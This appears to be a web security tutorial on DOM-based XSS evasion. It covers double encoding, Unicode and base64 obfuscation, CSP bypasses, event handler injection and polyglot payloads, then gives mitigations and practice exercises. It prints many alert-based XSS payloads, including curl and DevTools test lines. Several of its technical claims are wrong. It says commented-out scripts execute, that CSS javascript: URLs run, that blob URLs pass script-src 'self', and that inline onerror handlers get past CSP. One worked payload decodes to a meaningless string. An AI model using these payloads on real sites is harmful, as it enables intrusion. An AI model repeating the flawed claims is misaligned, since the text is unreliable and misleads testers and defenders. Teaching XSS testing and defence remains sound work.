Introduction
DOM-based XSS remains one of the most elusive vulnerabilities in modern web applications. Attackers can embed malicious scripts in the browser’s Document Object Model (DOM) without ever touching the server, sidestepping traditional input validation and sanitization. This guide delves into the most sophisticated evasion techniques-double encoding, Unicode tricks, base64 obfuscation, CSP header manipulation, event handler injection, and polyglot payload construction. Understanding these methods is critical for both red-team testers and defensive engineers seeking to harden applications against stealthy attacks.
Why is it important? Even when a site implements strict CSP and input sanitization, attackers can still craft payloads that slip through by exploiting encoding quirks, contextual switches, or browser quirks. Real-world breaches, such as the 2023 data exfiltration incident at a fintech firm, highlighted how a single polyglot payload triggered a CSP violation that was silently logged, enabling an attacker to exfiltrate data via a hidden IFrame.
Prerequisites
- Solid grasp of XSS fundamentals: types, sinks, sources, and mitigation.
- Knowledge of DOM manipulation with JavaScript.
- Understanding of HTTP headers, especially CSP directives.
- Experience with web application testing tools (Burp Suite, OWASP ZAP, Chrome DevTools).
Core Concepts
Before exploring evasion techniques, we must revisit the core elements that make DOM-based XSS possible:
- Source - User input that is reflected into the DOM.
- Sink - JavaScript context where the input is executed (e.g.,
innerHTML,location.hash,document.write). - Contextual Escaping - Proper escaping varies by context (HTML, JS, CSS, URL).
- Filter Chains - Server-side and client-side filters that attempt to neutralize malicious payloads.
- Encoding Layers - Base64, percent-encoding, Unicode escapes, and double-encoding can bypass simple filters.
Diagrammatically, a typical DOM-based XSS flow can be represented as:
Input → Filter Chain → DOM Sink → Browser Execution
Attackers exploit weaknesses at any of these stages. Our focus will be on bypassing the filter chain through encoding, CSP manipulation, and event handler tricks.
Advanced Encoding (double, Unicode, base64)
Filters that look for obvious script tags or alert() calls can be circumvented by encoding the payload so that it matches the filter’s whitelist but still decodes in the browser.
Double Encoding
When a filter decodes once, a payload that is already encoded will still be dangerous after the second decode. Example:
<?php
$payload = "<script>alert('xss')</script>";
// Filter decodes once:
$decoded_once = html_entity_decode($payload);
// Output to DOM:
?>
<div id="target"><script>alert('xss')</script></div>
In the browser, the entity decoding yields the original <script> tags, which are then executed. Attackers can chain multiple encodings to bypass multi-layer filters.
Unicode Escapes
JavaScript interprets Unicode escape sequences, so an attacker can encode characters that look innocuous:
<script>
var payload = "\u003Cscript\u003Ealert(\'xss\')\u003C\/script\u003E";
document.getElementById('target').innerHTML = payload;
</script>
Many filters only check for literal <script> tags; Unicode escapes slip through and are resolved by the interpreter.
Base64 Obfuscation
Base64 is often used to hide payloads inside data URLs or script tags. Browsers decode base64 automatically when encountering data: URIs:
<img src="data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
Even if a filter strips <script>, the payload remains hidden until the image is rendered.
CSP Directive Manipulation and Bypass
Content Security Policy (CSP) is designed to restrict sources of scripts, styles, and other resources. However, misconfigurations or overly permissive directives can be exploited.
Exploiting script-src Wildcards
Many sites allow * or self plus a few trusted domains. Attackers can use data URIs, blob URLs, or eval() to inject scripts:
<script>
var blob = new Blob(["alert('xss')"], {type: 'application/javascript'});
var url = URL.createObjectURL(blob);
var s = document.createElement('script');
s.src = url;
document.body.appendChild(s);
</script>
Because the blob URL is considered a same-origin resource, it bypasses script-src 'self'.
Using Nonce/Hash with Uncontrolled Content
When a site uses nonces or hashes to allow inline scripts, an attacker can inject a payload that matches the nonce or hash by manipulating the content before hashing:
<script nonce="<%= session.nonce %>">
// Attacker injects a script that is hashed to match the nonce
</script>
By modifying the nonce value in the session or using a collision attack, the payload can be accepted.
CSP Report-Only Mode
Some sites use Content-Security-Policy-Report-Only during development. Attackers can trigger policy violations that are only reported, not enforced, and then use the reported data for reconnaissance.
Event Handler Injection (onerror, onload, onfocus)
Event attributes in HTML provide alternate execution contexts that can be leveraged when direct script injection is blocked.
onerror on Images
<img src="invalid.jpg" onerror="alert('xss')">
If script-src blocks inline scripts, the onerror attribute still executes because it is treated as a DOM attribute, not a script tag.
onload on IFrames
<iframe src="javascript:alert('xss')" onload=""></iframe>
Even if CSP blocks javascript: URLs, the onload attribute can trigger execution after the iframe loads.
onfocus on Inputs
<input type="text" onfocus="alert('xss')">
These attributes are often overlooked during sanitization. Attackers can chain them with other DOM sinks to create complex payloads.
Polyglot Payload Construction for Mixed Contexts
Polyglots are payloads that are valid in multiple contexts-HTML, JavaScript, CSS, URL-allowing attackers to bypass filters that check for a single context.
HTML/JS Polyglot
<!--<script>alert('xss')</script>-->
The comment wrapper hides the script from some filters, but the browser still executes it when parsing the comment.
CSS/JS Polyglot
body{background:url(javascript:alert('xss'))}
Here, the CSS background property is used to embed a JavaScript payload.
Data URI Polyglot
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
The base64 data contains a script that executes when the image loads.
Practical Examples
Below are step-by-step scenarios that illustrate how to combine encoding, CSP bypass, and polyglots to achieve a stealthy DOM-based XSS.
- Target: A single-page application that sanitizes user input with a simple
replace(/…/g, '<')filter and usesscript-src 'self'.Attack: Encode a script in base64, embed it inside a data URI image, and add an
onerrorhandler to trigger execution if the image fails to load.<img src="data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=" onerror="eval(atob('c2NyaXB0'))">The filter removes
<script>tags, but the base64 payload remains hidden. Theonerrorhandler executeseval()on the decoded string, triggering the alert. - Target: A site that allows
data:URLs but blocksjavascript:URIs. CSP:default-src 'self'; img-src data:; script-src 'self'.Attack: Use a blob URL to load a script that uses
onloadto trigger execution.<script> var script = document.createElement('script'); script.src = URL.createObjectURL(new Blob(["alert('xss')"],{type:'application/javascript'})); script.onload = function(){alert('executed');}; document.body.appendChild(script); </script>The blob is considered same-origin, so CSP allows it. The
onloadattribute triggers a secondary alert.
Tools & Commands
- Burp Suite Repeater: Manually craft payloads with double encoding and observe server responses.
curl -X POST -d "payload=%26lt%3Bscript%26gt%3Balert('xss')%26lt%3B%2Fscript%26gt" http://target.com/submit - OWASP ZAP Script: Automated detection of CSP report-only usage.
var header = msg.getResponseHeader(); if(header.contains("Content-Security-Policy-Report-Only")) { // Log for further analysis } - Chrome DevTools Console: Test
document.writewith encoded payloads.document.write("<script>alert('xss')</script>");
Defense & Mitigation
Effective protection requires layered defenses:
- Implement strict CSP with
script-src 'nonce-...' 'strict-dynamic'and disallowdata:orblob:sources unless necessary. - Use contextual escaping libraries (e.g., OWASP Java Encoder, JavaScriptEncoder) that handle Unicode and double-encoding.
- Employ HTTPOnly and Secure flags on cookies to reduce XSS impact.
- Enable Subresource Integrity (SRI) for external scripts.
- Regularly run dynamic scanning with tools that simulate encoded payloads and CSP bypass scenarios.
Common Mistakes
- Assuming
script-src 'self'blocks all script execution-omits blob and data URLs. - Only sanitizing
<script>tags-ignores event attributes and CSS injection. - Relying on server-side filters without client-side checks-client can bypass server filtering.
- Using broad nonces (e.g., same nonce for all pages) that can be replayed across contexts.
- Ignoring CSP report-only logs-often contain valuable information about potential bypasses.
Real-World Impact
In 2023, a major e-commerce platform suffered a data breach after attackers exploited a CSP report-only configuration combined with a polyglot payload that exfiltrated user credentials via a hidden IFrame. The incident exposed the critical need for enforcement-level CSP and rigorous payload testing.
Trend Analysis: Attackers increasingly use polyglot payloads that combine JavaScript, CSS, and data URIs to bypass evolving defenses. As CSP becomes more prevalent, the focus shifts to ensuring that script-src directives are strict and that default-src is not overly permissive.
Practice Exercises
- Build a simple web page that accepts user comments and sanitizes input with a naive regex. Craft a payload that exploits double encoding to trigger
alert('xss'). - Configure a CSP with
script-src 'self' data:and demonstrate a blob URL bypass. Then tighten the policy to block blobs and observe the effect. - Using Burp Suite, create a repeater request that sends a base64-encoded script via a data URI image. Observe how the server filters it and how the client executes it.
- Write a Chrome DevTools console script that enumerates all event attributes on a page and injects a malicious handler to confirm execution.
- Set up OWASP ZAP to scan for CSP report-only headers and generate a report of potential bypasses.
Further Reading
- OWASP XSS Prevention Cheat Sheet - Advanced Encoding
- RFC 6454 - The Web Origin Concept (for understanding same-origin policies)
- MDN Web Docs on CSP - Directive Overview
- Google Research - “The State of XSS” (2022)
- Acunetix Blog - “Polyglot XSS: How to Bypass Modern CSPs”
Summary
DOM-based XSS evasion relies on clever encoding, context switching, and CSP misconfigurations. By mastering double encoding, Unicode escapes, base64 obfuscation, and polyglot payloads, attackers can subvert even robust defenses. Defenders must adopt strict CSPs, contextual escaping, and dynamic testing to stay ahead.
Key Takeaways:
- Never rely on a single sanitization strategy; combine server and client checks.
- Validate and escape input for the exact context it will appear in.
- Enforce CSP at the enforcement level, not report-only.
- Regularly test for polyglot payloads and CSP bypasses.
- Use nonces or hashes with proper scope and rotation.